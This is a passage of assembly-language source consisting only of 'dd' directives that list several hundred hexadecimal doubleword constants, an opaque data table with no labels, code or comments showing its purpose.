6404A305h, 0B2EE5F6Fh, 584396CDh, 0A4DC2606h, 0B6CC5C47h dd 4824CAF0h, 0EFD0E5A7h, 301ACC3Fh, 6BA5D3DFh, 0F7E8035Dh dd 0FF4AD4B9h, 9956DEB8h, 4CB4C171h, 7121C829h, 79CA7614h dd 85E90AC3h, 48B1B4F1h, 9FCBF222h, 0D6E38D4Ah, 26BF9951h dd 18DDE1B7h, 158D2AECh, 3BF85293h, 93B84EFFh, 8672567Fh dd 0AF3402CBh, 0E302C1D4h, 994F32D0h, 9FABB1C7h, 398C4626h dd 9E7C386Dh, 1ABBA9D2h, 14120B7Bh, 4E3C03Dh, 22A5EBD3h dd 0F78DB98Fh, 7490ED32h, 48D1BC94h, 53CDCF57h, 0C8E4A6C9h dd 15EF72Eh, 0B740CD7Dh, 0DDE320F8h, 0AD00B1B1h, 5FB4F920h dd 0E547A5A2h, 0E6039804h, 630F2489h, 8196DD29h, 1060EDFDh dd 88B66DF9h, 879D8C25h dd 26728C3h, 1BB21405h, 320BA80Bh, 0DD48EF06h, 4672EC4Ah dd 0FB34FD4h, 0B6E7218Fh, 0A8BBAFBBh, 9E01A06Ah, 2D51E7E7h dd 10D96A30h, 0B6450947h, 887DA73Bh, 858805CFh, 0BA4C7EF5h dd 0F5251AF3h, 0C77FDB1Eh, 2727B60Dh, 0D8E233A1h, 9CD66C3Ah dd 8E4BE6ADh, 0A15BC9D9h, 4189CE1Eh, 0E27FC52Bh, 0D961A3B7h dd 0D6BF4AEEh, 0C9139B07h, 3C9C5CE4h, 0A09A148Ah, 59A553F4h dd 0C2EB5666h, 7DCF8C2Fh, 0E22AB34Bh, 88969DA6h, 45C7DC98h dd 5094090Ch, 0F2F79144h, 458934EFh, 0DD315C29h, 0B698BC23h dd 328AADA8h, 87F8DFCDh, 1C912216h, 218DC764h, 64386106h dd 0E6FEA6E8h, 626D1458h, 3C03E97Ah, 0FA2F5AA1h, 31674D6h dd 821DFCE4h, 0BFFCDB9Bh, 0D68E1115h, 4F5FDEDFh, 0CFC26C61h dd 80F3B661h, 318CAE28h, 0AA8685A4h, 9BAFA3DEh, 3F22E019h dd 1B9DFC2Fh, 0E58B6FA2h, 0A1563104h, 0C7FB97A1h, 24B4142h dd 76789816h, 0D1720B10h, 34E707ACh, 511D8DAh, 315994A0h dd 5CDE2135h, 86CE1069h, 468079AEh, 0EC607A47h, 6A0A5E1Fh dd 0FF96D421h, 35AAFBD7h, 0E1D6C762h, 8550EC1Eh, 0FEA7051Fh dd 0B69DBAE1h, 0E7F4E017h, 37CE8084h, 99BEDA79h, 5A12EE05h dd 7922E4A2h, 4F727CE4h, 0F9CF91E8h, 3FC7152Ch, 4AFA3AB1h dd 276412D1h, 0E37A6519h, 82A3DC4Eh, 80E11FB6h, 542EF6A3h dd 0E613F58Ch, 8B25FFC1h, 0D5AF1BD9h, 4EF70A38h, 2F3E6E79h dd 0A647A814h, 933FC026h, 0CF2CDFCFh, 22DADAB4h, 276E8A23h dd 6869B252h, 3A081EC8h, 3F17CFCBh, 780BEA41h, 6401369h dd 0F393F027h, 0B68C1AF6h, 0E184D825h, 42D63C77h, 94D5B3F2h dd 46237249h, 405049Eh, 0DC1F7684h, 5666E51h, 0A63DC81Ah dd 155AA03Ch, 8D09C0A3h, 6F15E5E6h, 0BA31EF4Eh, 0F4DF8A1Dh dd 46A4BEF3h, 0D3126A07h, 550CCE26h, 0EDA1397Dh, 55DD9436h dd 88F44DC3h, 5FE1FB74h, 364F424h, 59362541h, 9FEBE273h dd 0E7C84616h, 0A4EE6D6Ah, 65B78829h, 0EA99514Dh, 0DCB65831h dd 88BC7C47h, 5D634A32h, 0A79062B6h, 0FD83D123h, 537FE7F4h dd 0D20E132Ah, 95214E62h, 0F194E39Fh, 0A3099092h, 0AA62ED2Ah dd 0D9327A03h, 9C15E90Ah, 4CD8445Bh, 1B2432Ch, 3084028Ch dd 0F733B37Eh, 5617F762h, 462F32F1h, 0C6D99868h, 0AB923A0h dd 0AF83DB95h, 0DE4D002Fh, 845A7F6Ch, 4AC45990h, 1EC54A44h dd 32B5EBB4h, 0BEB22EC7h, 28BA0A90h, 0CB4FD84Bh, 0AF6BBCFh dd 47E5FC76h, 4CED37C5h, 7D8A0BE8h, 1E7BA6FCh, 0C53943BFh dd 3C419558h, 0DE31FDF4h, 0F2CDC5AAh, 91BD2B84h, 5581B95Bh dd 0B7C60F1Ch, 6CF4FA11h, 0CE1DB05Ch, 0B98E0C3Eh, 7334B022h dd 31EC0CEh, 0C5ADB68Fh, 9BB1B3DDh, 0D5030B18h, 0DE48167h dd 598969BCh, 0EC922088h, 0EAE55FEBh, 0E7136A2Dh, 94B2D036h dd 350E7772h, 31182E26h, 6ECF937Ah, 714AD123h, 168C712Ah dd 39DBF0CEh, 5086CF12h, 0DD6A433Ah, 0C5C92C6Eh, 2EB2DC69h dd 1E4B78E8h, 0F18F7DD6h, 277E1E1Ch, 0AB1420C3h, 380B17A0h dd 0E795558Ch, 17436888h, 136C7A6Fh, 0CC269CCCh, 0E411767Dh dd 1B4F45B7h, 95897BEEh, 9F40FE31h, 7A677153h, 0C917B31Bh dd 0C90C4744h, 9B628F7Dh, 5334F7E2h, 0A4006918h, 9A4F03Dh dd 89CF69CFh, 0CBC25A6Ch, 363C7665h, 0FB0FB27h, 5FC269h dd 602A7AE9h, 0BB3374D4h, 2196C17Eh, 3F40917h, 0FCB9E040h dd 352CA870h, 56DCAB0Fh, 0A73FA379h, 65223A0Dh, 0E69EEDADh dd 94624173h, 0ACCE3F6Dh, 6BB95A48h, 7BD395B0h, 2AEC7B5h dd 4F68D1FFh, 9B9E0677h, 0FFCD1FD6h, 5CE1BD9Ch, 0B06A306Bh dd 0A426D260h, 0EA24E61Fh, 87FE40FEh, 0C206A9D3h, 9508CA83h dd 0AC9F59AFh, 0A57ED0E9h, 6B2047BFh, 4F76A15Eh, 1D94F7FDh dd 6AB1FBE1h, 2028F90Dh, 0C66C2ABBh, 0C1E276B6h, 0CC56C20Fh dd 38523CCFh, 5C6989A2h, 0E8F9C4F0h, 0C7D8841Ch, 53B3EF94h dd 840A520Ch, 17CC80h, 53078DC5h, 8992F742h, 7C0C19DAh dd 26D69B76h, 9112C8D9h, 2AF4AAA3h, 2E8F00B3h, 273F69B1h dd 0A71E7C83h, 3378491Ah, 0FAD381ECh, 0C42126Ch, 9F91EBDEh dd 191F3B76h, 0C5EE11AEh, 0E2D84C30h, 43FD4A76h, 0AFF991CAh dd 1F2EB8F8h, 2931D3B7h, 85EB4D89h, 2D6C85B9h, 72C1BB90h dd 1C8DB91Fh, 40CF5C76h, 690DB4CAh, 0BD5419B1h, 0EC832BACh dd 0FADF7BE4h, 7C55D675h, 1FDA813Eh, 7734CC9Eh, 0EC270B1Ah dd 6D0599Dh, 89D6DAC0h, 80D5E22Ch, 8A8874C4h, 0EF1E7A6Dh dd 0E1A205F3h, 0F501C27h, 2543F9A2h, 51FB84C3h, 10E6AD16h dd 3402B54Dh, 0E0A9FBBDh, 231A5B8Bh, 75CE3EFEh, 8DC00293h dd 489E58A1h, 614A8DB2h, 78948966h, 1E1BC68Ah, 3DD1E873h dd 8F027BAFh, 0FF7DC036h, 0D047972Ch, 3A83EA14h, 22DF1A28h dd 617C5035h, 965F7E6Dh, 6AE1C129h, 8CD1E6B8h, 97D30532h dd 7FF06D68h, 0C0B83BFBh, 0E8A4942Bh, 183E7BA5h, 88C7C42Ah dd 0F4A62FFAh, 3ABA33E8h, 7BC5711Bh, 0F85C6C63h, 8A90518Fh dd 0F721647Dh, 0FE9FFA9Eh, 0F7614CD8h, 0E35E1BF3h, 0F65C9604h dd 97603CDCh, 9968202Fh, 71507C05h, 4B9D0378h, 0B975CA13h dd 3121F4D3h, 0E08AD3ACh, 8623C550h, 0AA8E0C95h, 0E9086C9Ah dd 0B72E19BFh, 0BF476C00h, 42D7330Bh, 737D5936h, 0FF576E22h dd 0FC86113Ah, 0E24A1888h, 0ECDA8056h, 8B133A1Bh, 2958CA52h dd 27597F05h, 75CEC240h, 5C51000Fh, 707F094Fh, 72E1D4D6h dd 2E440791h, 0A9AB2C25h, 44A3B3D4h, 5B8D0BF9h, 59B09E76h dd 2436A33Bh, 0C2C1C98Fh, 288A3E89h, 0AB38AC9Ch, 1F71AF89h dd 27257454h, 8DAE776Ah, 0CB01A361h, 402D126Bh, 6F7E1228h dd 741B0345h, 3877D666h, 36205E54h, 1FB3B392h, 0D8764AB4h dd 72F386D3h, 84E81D8Dh, 0CCDB0736h, 4B94228Bh, 9D6A0ACFh dd 6FCB302Fh, 87A5E31h, 64CE42Ch, 0AA7737CDh, 0F1A34A71h dd 7A3F74C5h, 7FE2D03h, 0A0635D54h, 0F84CE80h, 38F74738h dd 0EE856EA0h, 0DAA6FACDh, 0ADB6BC22h, 0F471D513h, 0BB32C4B3h dd 4A3AC272h, 9A834D6Bh, 0D52E42BFh, 0B91D0758h, 0EACC1AD5h dd 464E4E13h, 0D5951E29h, 0D3ADA88Ah, 77667FF0h, 4FBF0FA8h dd 9E03D70Eh, 0DDF3799Dh, 83D925C3h, 8C132313h, 0F3C1BB34h dd 1F53D9C9h, 9ECDD6ABh, 0CB090CA1h, 3FE27913h, 0E66F95C2h dd 4550AF5Dh, 0A02B0048h, 32D83A41h, 0D82E81Dh, 0D2DAD2DCh dd 3A6A4A6Eh, 0CA72B04Ah, 366DC3AFh, 3C9E416Bh, 498DB0C5h dd 11302575h, 9AABADAFh, 0EFF38ACAh, 1D99FED9h, 0C02508B5h dd 9E086717h, 430D61B9h, 0F6DED0DCh, 4DA1F41Bh, 0FDFAFBBAh dd 0F1369308h, 74F809DBh, 0A2772137h, 354C046Eh, 9BC7C3ADh dd 0B5CD5105h, 266AABE6h, 90185356h, 0C9319AAEh, 60531A91h dd 43230C81h, 6D9F19C6h, 89929DE0h, 0B1C8A9F2h, 79CFBDFEh dd 7E23B356h, 2A3867E8h, 331420FAh, 2E6DD374h, 271BF391h dd 8A0E79A9h, 6E3C3274h, 2EA75ED4h, 5D66E3D4h, 6B88A5B3h dd 0DE460956h, 49827E8h, 1A584F7Bh, 0C8CB01E4h, 2BAC9B82h dd 0B0716342h, 74D0A65Ch, 0DAFC04F7h, 0B46A7A43h, 832F2AA5h dd 244BEA0Ch, 0C2765FD2h, 48561B45h, 823B98A9h, 3BEB99E1h dd 0B9AB5809h, 617B0170h, 23858BCEh, 0A1506A68h, 0DB602E86h dd 0AC16A587h, 9B5B316Ch, 0ABA507D3h, 4CE39F34h, 793E5F1Bh dd 5EA461D5h, 0B60B8E2Ch, 0D1177E62h, 0C021B662h, 1A829DC1h dd 0C70CACD4h, 0F9E84103h dd 9B87BBCDh, 1147174Bh, 53687A62h, 0B1B983C0h, 936A99D7h dd 7D9AE2B2h, 0C4B97552h, 0DCF8E075h, 0E4D2C7B1h, 6E8E250Eh dd 56F3CB0h, 8A90FF5Eh, 0EC572FD0h, 0B9B94870h, 0CA1F62F3h dd 76EB48DEh, 0DAA7AB1Eh, 79648CD2h, 0E9428C93h, 6CFF7C67h dd 833C7E86h, 0A40A7E5Eh, 0A7EEFA6Fh, 0C704419Fh, 0A2840661h dd 2A2219BCh, 9CCD6D6Eh, 0C4EA9B2Dh, 0FB3A8277h, 0BE01304h dd 0ECB0A15Ch, 2D41659h, 0A198F30Dh, 92E37D74h, 1FD03913h dd 5F0B1AB0h, 41DFCC52h, 7D34031Bh, 1D0D7E9Ah, 652A62BCh dd 13B921C2h, 0E9C5FA5Ch, 66576403h, 0CEC1AA32h, 0BCB31AD1h dd 0A182FFE2h, 3D74736h, 1B3662F2h, 3928422Eh, 94D6A4CBh dd 4AC2E788h, 60CA1196h, 29B06985h, 0A2F87457h, 0B485F461h dd 2D58BB50h, 1139266Eh, 3D490A4Fh, 9D394BA8h, 7DB6C335h dd 0C201D18Dh, 0C7C95B2Eh, 9276642Ch, 4EBA099h, 0EB48751Eh dd 0C3309A35h, 0EAF03FB6h, 56DCA04Eh, 0D3664CF9h, 26231EBh dd 0C5D16732h, 0DD1EBEDh, 0E5F00CCAh, 77FCE000h, 0BEE3CE90h dd 294D3F26h, 76570179h, 25C4875Fh, 0A52841FFh, 0C06A4B11h dd 0CCFBB4DFh, 2120A9E3h, 5A7E42A6h, 22FACCE1h, 0E6E6A8E2h dd 97D47B48h, 4680140h, 0D3874273h, 2E00210Ah, 76BC003h dd 315651EFh, 0C101C981h, 5B61C56Fh, 8FEEA4DEh, 8C9345BBh dd 6BFDD9A8h, 45A890C3h, 3504A64Ah, 75365208h, 5A1EC9A9h dd 0E9C3743Fh, 0CC52ED97h, 80D82EBFh, 0F947A145h, 0B0E2426h dd 0ECF0EB32h, 1A95DC8Ah, 0DA9622D4h, 32BE858Fh, 170200AAh dd 27CFD71Dh, 1B298E1h, 12306BC8h, 91FA22BEh, 4A3D1166h dd 6B79979Ch, 0DF08E61h, 0F00F450Bh, 9A2CC051h, 67CFE77h dd 9225A72Ah, 0AE52E6CAh, 0A8225044h, 5400156Ah, 81A48F6Dh dd 98DF24Eh, 6FE7FC31h, 33157D3Bh, 25F866B8h, 4169A784h dd 0C0424D54h, 7874912Ah, 4DD2A29Dh, 0B017E844h, 0CCBD93B2h dd 0E7E669CCh, 0F70B8928h, 6AFBF2Bh, 79E6411Dh, 0BA8DFA43h dd 0EC1F1C38h, 660FF8B2h, 8440D64Eh, 37C31B00h, 7C6C89B3h dd 3FFD3183h, 0F95442B9h, 0A6B6BAAh, 743C90Ah, 0D1D2CCFFh dd 0C837B39h, 0E4CBEA8Ch, 0A356B4Ah, 69961D11h, 0E9C089B6h dd 4153A85h, 7F669A8Eh, 0D9DEF844h, 0A07176EFh, 3AB2EC2h dd 5F8782A3h, 0E3524FDEh, 389DD922h, 47209AA6h, 7A2CE945h dd 662F6DE1h, 0FE2E6275h, 0A689F766h, 30FD88BFh, 0FAEE5845h dd 6A07421h, 0DEF83663h, 0FD14F75h, 387AE022h, 0A913A216h dd 0E145819Ch, 0C478B141h, 5F166D5Bh, 2BF84232h, 6B9173B7h dd 0F4A68A11h, 30A41E09h, 0C14DDCCh, 0EC840902h, 0DFAC54A8h dd 0A5B97945h, 98915BB8h, 29787988h, 0DEDFD265h, 0A9F88B52h dd 760299DCh, 0A61CCF3Ch, 0A72DE8F3h, 6141EC50h, 0D720A4BAh dd 3D9F6416h, 0D8A768F3h, 0A1502D52h, 0D89ACCE9h, 67B00256h dd 2B1CFBCAh, 9CDEF45h, 39B2A8D0h, 36612DD7h, 19FB044Bh dd 0CE14BCF4h, 737EA225h, 0A3D8F840h, 599A7185h, 0BCF3FA80h dd 0F97D8400h, 0AEB775AFh, 4FD3C310h, 2EAB8BACh, 6E904E00h dd 84AA9033h, 4739B585h, 4B9E580Eh, 0B42DB8FCh, 29010CBAh dd 287DD9AFh, 85FA5625h, 0F12EF288h, 0DB89B058h, 8FF5DFA3h dd 0DA858232h, 0D3A57765h, 1F9DA7CAh, 1DB8003h, 9028F509h dd 828FB833h, 0FCDACF75h, 0C175876Bh, 0DD0E213Bh, 285CBD3Ah dd 45ADF89Bh, 22137C69h, 6BE9B7A4h, 43C2306h, 0E74E2510h dd 0E0105A42h, 486F684Dh, 0A46809D5h, 0E10D8DA8h, 0DC1F726Eh dd 61BCCDF8h, 4B175CCEh, 75AAC137h, 0D02FD12h, 7422976Fh dd 8AEF5592h, 5520E6C4h, 0E8221C35h, 36E720E3h, 2E16D29h dd 877610A0h, 7D6A76CDh, 0B508BED4h, 0BB85F92Dh, 767CE94h dd 718D4573h, 0FC0920DDh, 0F2783409h, 0AAA86F64h, 260AB318h dd 0E150F0DAh, 27A44895h, 490B93EAh, 0AE70DDC2h, 4D3981D7h dd 2426B9E8h, 0B0CAAAA4h, 2FE0DC9Ch, 381139C6h, 2E2A8DAAh dd 849F60EAh, 0F35DB048h, 0F0ACCC4Fh, 0E962A90Ch, 0FE253B9Bh dd 89A0215Fh, 67F004BCh, 0C175B6F3h, 0A5F1CD9Ah, 1D7F1B9Ch dd 1FD0B251h, 0E17D6622h, 40EB6D4Ch, 2F9C7844h, 0F5A0C755h dd 1CCC21EAh, 0A04DAC0Ah, 5B629AA4h, 26ABAE8Bh, 0B8469851h dd 8ED69C9Eh, 0EB2413Fh, 0F5AD68FFh, 18D62A30h, 603F2E0Dh dd 4285E66Dh, 53B696FEh, 0A2A959CDh, 3B0F18B9h, 19E05A44h dd 52BC9E13h, 8084901Bh, 0E7840FF2h, 93122B64h, 94E2060Fh dd 43DF2337h, 41935AFBh, 0D5CCE1E7h, 0E37C5371h, 0C406B90Eh dd 0A7616671h, 2A86F8D8h, 5CA2C455h, 6D8A3849h, 5C1FC791h dd 8CE1A36Ah, 0AA593584h, 8F418B39h, 19B3CADBh, 0E83CA603h dd 0D76BA35Bh, 0B06D3EC2h, 4EC9CA85h, 97BDC3B6h, 4CBC8B39h dd 296F95E5h, 4CEACB24h, 0DB927B55h, 953E0E4Dh, 165DFBBBh dd 9C336FDAh, 0B8580551h, 56A9D08Bh, 4C8936EDh, 72C3FF5Dh dd 32E2978Fh, 8373E573h, 9EFE196Dh, 5F20F94Ah, 97DB6DC2h dd 7A500F93h, 95B8E007h, 6028A1B1h, 57F4B499h, 938B536Ah dd 81D1DB1Dh, 7A774048h, 3418F23Ah, 4F31AE55h, 0CEB999E6h dd 7704D09h, 0A0993060h, 6FFBFD38h, 5C0CB8D1h, 8EFA8D98h dd 7EB5488Ch, 78137645h, 60188E44h, 30A33C25h, 9A3837CDh dd 2487B4B3h, 5501DC26h, 0DD0B7F7Ah, 0E0CFE508h, 32FF0C28h dd 3BB70872h, 6C6D0C16h, 22764E26h, 7593D16Eh, 95336493h dd 98178348h, 88BC2CECh, 351E6708h, 0AF1496F0h, 8BEB5884h dd 0FB0FAD10h, 0F285732Ah, 601CC939h, 586FA349h, 34F7DA23h dd 0A024D9ECh, 64DA4BCEh, 9193737Ah, 9E53924Ah, 0AF03DF08h dd 0F454CFF2h, 6513A9E1h, 7B8ADC9Ah, 0ABB80AA5h, 3AF59F65h dd 0B28ED196h, 576002A5h, 785964C7h, 6EE27E8Bh, 2D5550E1h dd 0A83ED27Ch, 0DD2D4EEh, 4E8CA5E9h, 1861FBF0h, 26B77D8h dd 6F87A9EFh, 0C2652211h, 13E1D9F3h, 0B7AA40F1h, 0EE97853Ah dd 30ABE951h, 18B5B961h, 27EFAF70h, 0E9E6E44h, 87EED128h dd 890C38E7h, 0FF08AA94h, 0C52B5BE5h, 0A4183DC6h, 3ABD0F2h dd 976B3653h, 0B698F740h, 0D4A9D34h, 0FC71AE2Ah, 67B2DCA9h dd 27D6D8CAh, 0D8573BB5h, 0B3DCB315h, 649A007Dh, 64CACD3Bh dd 3D28377Bh, 0A844AA3h, 1768AD08h, 26E01BF9h, 0AAF38916h dd 8D9B084Fh, 112C7115h, 57DFC6E6h, 0FECBF82Eh, 0BBC0B898h dd 0A395C3FDh, 0C9D78D42h, 0A36EC6FCh, 37BA9455h, 13B73A40h dd 0D81F508Fh, 0AD60D140h, 0A7A298C5h, 0F26613ADh, 6AED21F3h dd 0E1106A5Bh, 0B58AB746h, 0DD61EDEAh, 0F5DCF4B9h, 0DE7F606Fh dd 0A28611ABh, 4D7CF339h, 6A4D99AFh, 102E181Fh, 9CA2A214h dd 0C128E738h, 0D305C6B1h, 0E5580EAh, 0D5D2CBD4h, 498506FCh dd 717D0B2Dh, 8AE310D2h, 6A762FCh, 0D4636E0Dh, 108AAB41h dd 2291EAA1h, 12EEB437h, 3FD34E8Eh, 0CDCD3693h, 8BE6C43Bh dd 7C8EFB05h, 9C15A0A0h, 2748EF6h, 0B3FE2E20h, 0A8C8F2A4h dd 0FB9202D0h, 0E3EE0B7Dh, 3C5C4E3Dh, 80060ACFh, 29E28E45h dd 194D32D9h, 5BB36A3Fh, 350D831Bh, 0A9EAAA83h, 0E3A2888h dd 33D729EAh, 86B71E7Fh, 6D5D8C45h, 0E0035F46h, 0A32DAA02h dd 0D643AA98h, 8DEB8594h, 2DFCE8ADh, 64A4994Fh, 0C2369694h dd 5C40E13Ch, 39C55F67h, 37B6974h, 7DA6A0Ah, 0AAB8C8BBh dd 9F02AC89h, 0E3D2F8Fh, 9989BB95h, 78BC4783h, 0FAEEBC31h dd 66F34F62h, 9585AFE5h dd 8AD4E5F2h, 68A10535h, 93470ECEh, 6D55B7C8h, 2D3C9584h dd 86D76859h, 0A1DA3BB8h, 9E9AA176h, 30967835h, 0FD8CE1C4h dd 0DCC96938h, 84A87A57h, 0B4A51671h, 3DA96538h, 9ACA6A2Ah dd 0D0F0D19Bh, 2C70ACAAh, 0DAD9A132h, 29E4C2h, 0ACAAAB31h dd 0F6BAB7BEh, 2D12132h, 0EF4DAA49h, 57E5EB11h, 248A700Eh dd 0B25690D0h, 323BC37Eh, 8CB08145h, 91AB5A90h, 70264824h dd 9355FBDFh, 2D9C5972h, 83186099h, 251D0C2Dh, 2FE40485h dd 37D39728h, 3B28BA08h, 5A18489Dh, 0ACBE5FAAh, 0B3D89E51h dd 0EBF0D1EAh, 56444C8Eh, 596AFAD8h, 0B1914518h, 0C24A687Ah dd 0B2167351h, 3AFF17ACh, 3A77EF20h, 90315B5Ah, 3B53CADEh dd 9CF6199Fh, 2B80D638h, 0D3E3654Ah, 0D316A33Fh, 0ED8AACB2h dd 6986EC7Dh, 0D7842BB8h, 0EB6777F4h, 0EF8A676Dh, 3E72167h dd 68787EDFh, 226B8AF3h, 1396B276h, 0C5AB861h, 5AA3BC45h dd 0C0E7C270h, 9D8F01F4h, 35C74595h, 0E68B7402h, 266CC37Dh dd 4D6D0AABh, 75B240C0h, 0CD3B4438h, 3CC481B7h, 0A173BFD9h dd 0D756FF59h, 5EA42605h, 5B72A310h, 0EEB9945Fh, 1F431049h dd 11DBDA1Ah, 8A06D6A6h, 4BE2724Eh, 4D32F1E1h, 4A90662Eh dd 536BAD68h, 0C6BFEE46h, 0EB61CE79h, 52EEB92Dh, 47C08277h dd 8A1FAD33h, 810DCE43h, 0BF66F998h, 64D5CCBBh, 3F8E1117h dd 0DF844982h, 0F5E3110Ah, 112748ABh, 2B0DB5EFh, 297F478Ah dd 0E1AECB7Eh, 0C3680889h, 3C05521Ah, 0CD247088h, 15BEE560h dd 8731D5D4h, 0B87C784Eh, 0DE7558D5h, 0E5CF1536h, 7DC8B0F5h dd 0C65056A9h, 8D60BE1Ah, 77F6EB6Bh, 0A9A104DDh, 65F3D053h dd 0DDD80E48h, 61E0D5C3h, 0ED325784h, 17D34068h, 3E530D2Ch dd 0A0578BE9h, 0DB4705CEh, 0DFB442Fh, 52F90945h, 0F72FB72Fh dd 0C4F8D8D0h, 6CFB0A15h, 0DE73003Eh, 5E55E3D6h, 999D53E7h dd 311A3F17h, 689A3158h, 0B72A32D4h, 26D0E7A6h, 0DB0588CEh dd 86B80301h, 2DA9FB5Fh, 0FD2590E9h, 0F0D177D0h, 0CB776EA0h dd 39B3DF15h, 0A08DC3F5h, 0AF9B7610h, 2AA4B138h, 655F32EDh dd 0CD1F07C0h, 0F743B3E7h, 0C33B2300h, 787ECE39h, 0B6B46851h dd 0C5A397D8h, 874EA341h, 610C25F1h, 0CFA00AC8h, 0DDAD92CCh dd 0A23BFB9Dh, 3072B919h, 0DA161F6Eh, 0C536F586h, 0FE3E1113h dd 0DB6F1517h, 7D7E8EB3h, 5CB976CFh, 9049B0FCh, 4D4E06B4h dd 9A61468Dh, 3C19B014h, 65E5C2E3h, 508DF7A2h, 0F169C4D4h dd 407E8262h, 91EDEBDBh, 69E10F66h, 65F66071h, 915F0D35h dd 583BD30Ch, 7C540EE4h, 5347DA02h, 0DFDEE5A7h, 1835B14Bh dd 0B7D2D250h, 3804E25Dh, 55C2FFC2h, 77100355h, 70A4BF52h dd 0D681345Fh, 7168B178h, 3F3A5443h, 9A4ADC4Ch, 2B35F73Ah dd 70568D8h, 138114C8h, 61FFAFC3h, 0EC894265h, 0A04C222Ch dd 8CA3947Ch, 0E3589476h, 0D8373D69h, 9CD735BEh, 0B41B8FB6h dd 0BA4906B9h, 5C945221h, 0F120A45Ah, 6A951D8Fh, 0D2FB82FDh dd 4F067BD0h, 0CD00FEF6h, 0E9D7A55Ch, 8BF81487h, 7D96BE76h dd 4B36AD56h, 213CF32h, 6915F9A5h, 0B9291421h, 0E299D9FBh dd 1E2FF72Ch, 81102BD6h, 0E527F6FDh, 69B5B918h, 53863CFFh dd 7BA0D1B0h, 6A44223Fh, 5AA29A13h, 0C758E976h, 11AD7A5Ah dd 2F14BD67h, 0AA947B16h, 5A62A954h, 31AC7679h, 0D8918BDBh dd 0DBF300A8h, 0C87BEB91h, 1FCD12E8h, 0B53051C5h, 292CA4E1h dd 1157DFB4h, 8E7936E8h, 968C1B7Dh, 0DBFBBB69h, 570EEFADh dd 0D56B2AB7h, 0B3AA4762h, 0E56A00F4h, 3ECE43B5h, 9FC8E085h dd 0B24DABCh, 0A6F2DD0h, 57BF02F2h, 0EA218778h, 6B25A7C8h dd 254A52F5h, 0A93AFD37h, 0ABAA1368h, 0A012E22Fh, 57ABC476h dd 3B1F849h, 6CAAE32Ch, 0F1AC2F4h, 6E478420h, 27692F05h dd 41791A9Dh, 1E2EC110h, 80BAAF17h, 1272A72Bh, 709205E9h dd 0C5415D57h, 7EDCE738h, 439559BFh, 5FD30EF7h, 7A5648EAh dd 0F6F9DE65h, 166AE7F2h, 23403CFDh, 2A5B6785h, 0B022B651h dd 7C8445D6h, 889A4B1Ah, 0B9BDBE4Bh, 0D4F4E88Eh, 337272B2h dd 82390D6Eh, 0DF4D7666h, 0E89356h, 3D0C8CD4h, 0F4FDE94Ch dd 0C9FAD958h, 3ED9C797h, 0D98CC6DCh, 5E83E7ABh, 2E3C67Ch dd 0BCD74DBBh, 16BC3183h, 0BC029831h, 0D4E949DCh, 62009CBAh dd 40C818ACh, 0EE7B5DDAh, 24DCE485h, 359A0D79h, 740AAD1Ah dd 0B121EA50h, 5A73C13h, 0D8014691h, 548A9E45h, 5FC5FA4h dd 0D446F6C8h, 9862C1CEh, 88329A09h, 8413C899h, 7F3EF3DBh dd 64F4631Dh, 0BAA528ABh, 8ED1FA32h, 56165B6Eh, 0DA180AF0h dd 0B699DB1Ch, 0F330D1E9h, 9042C9E9h, 3874443h, 63A36981h dd 22C0D56Dh, 2F04994Bh, 0BDD679F5h, 7AD0F861h, 98FEBC84h dd 0FC9814EBh, 0FC76E5D3h, 78529019h, 0A54319Fh, 54C0751Fh dd 15BBAB58h, 4897958Dh, 0C9B3B6CBh, 44E2BAA7h, 0D27968CDh dd 67A96094h, 8AD5B35Eh, 4AC75330h, 0C4FA5F23h, 17A043B7h dd 7D293168h, 1259FD0Dh, 6DCC97h, 7BC71E41h, 0DF59169Ah dd 0B09CDF7Fh, 0A3BA2B47h, 0A8E82BE2h, 0E2D03D46h, 96F9AF6Dh dd 0E9F368CDh, 6A541EB6h, 791E83B3h, 47D2FC9Dh, 2B7C5FCBh dd 5B2C0D03h, 4167554h, 75047177h, 201ABD76h, 956F9B8Ch dd 833EB725h, 69D7D695h, 36D56FB8h, 97329C45h, 0FA2CBDACh dd 23D8DAD0h, 37A28BC5h, 0CA5D25DFh, 2EE446F6h, 1E3243E5h dd 9DBEB383h, 283ABD5Eh, 0FB6FC123h, 0DF33AE46h, 0EDE3CD78h dd 0ECF84F4Bh, 5E99FE75h, 60083C73h, 0A66129ECh, 6CF1EC6Ah dd 666A2B46h, 0D933D3FDh, 0D2CE6419h, 0D9D122DAh, 0E6CD0AE1h dd 0D265A804h, 5985BA3Fh, 0A9347B3Ah, 7A8A23D7h, 0BA2A1C59h dd 0F302B73Ch, 32F98DB1h, 0C89B7C75h, 0F69B8408h, 4C17B56h dd 0D7534383h, 0C6977AB3h, 0A9F086BFh, 0AADFC2B9h, 405F2AE0h dd 0E7FFA54Eh, 1BE9E99h, 40F0D67Ah, 0BDB6633Dh, 0A9368B30h dd 4352BDD5h, 6338981h, 8981A3Dh, 0A33BEBBAh, 7CA2A126h dd 6573C5ADh, 764E97AFh, 8F71BF56h, 2EB44F31h, 5E402B70h dd 761D0169h, 0BEC81A11h, 0D10BECB7h, 0F175DC33h, 89DB8E3Ch dd 0FFB29AE6h, 0EFC00C78h, 7B3CFB78h, 1AF91E35h, 36B06D75h dd 265A570Dh, 0C57FA77Ah, 0A02B04C7h, 0C3587C22h, 0E72E15C6h dd 0AFEAA66h, 7F84436Fh, 841CFADFh, 72A591A9h, 0B00C494h dd 202C37Ah, 0E4B5F71Ch, 247F47B4h, 345F4084h, 8E813068h dd 0B7F9AB6Ch, 3DC73D05h, 0FD1A8DB0h, 42DA6502h, 11AAD3F0h dd 7BEBEB9Ch, 0CA236954h, 97E9BBC3h, 0EA5173F3h, 4CA3DEDAh dd 0FB781C28h, 0E6CFE2B1h, 0AC9B3D26h, 4B9D60Ch, 0DEC141B5h dd 2E26353Ch, 3B73B752h, 4063FC06h, 0B96205E8h, 3BE41C13h dd 0F505ADD0h, 0F11E8089h, 7D970D07h, 765DEBEFh, 2ACF3C8Ch dd 0CDD98D61h, 126F89BCh, 0B704DDB6h, 1A1E5E90h, 0CAD3922Ch dd 4282DFB3h, 9B1B6088h, 35E54426h, 0F188C0F1h, 8A5FF1CCh dd 29413E97h, 8533A0DFh, 0C126E3C7h, 91D2B5F3h, 82C6FBB2h dd 54DDD8CEh, 0A67552E5h, 9ABA3F54h, 2A8217DEh, 0B552A11h dd 2F8FA112h, 0E4F9C383h, 919E2A3Ah, 21B1FD07h, 4588491Dh dd 0BC16BD5Ch, 4691985Bh, 32E757E1h, 0A575F13h, 5CB22567h dd 0C6DD8150h, 6957FE56h, 37FC5CF7h, 63831FDFh, 74EB1D2Fh 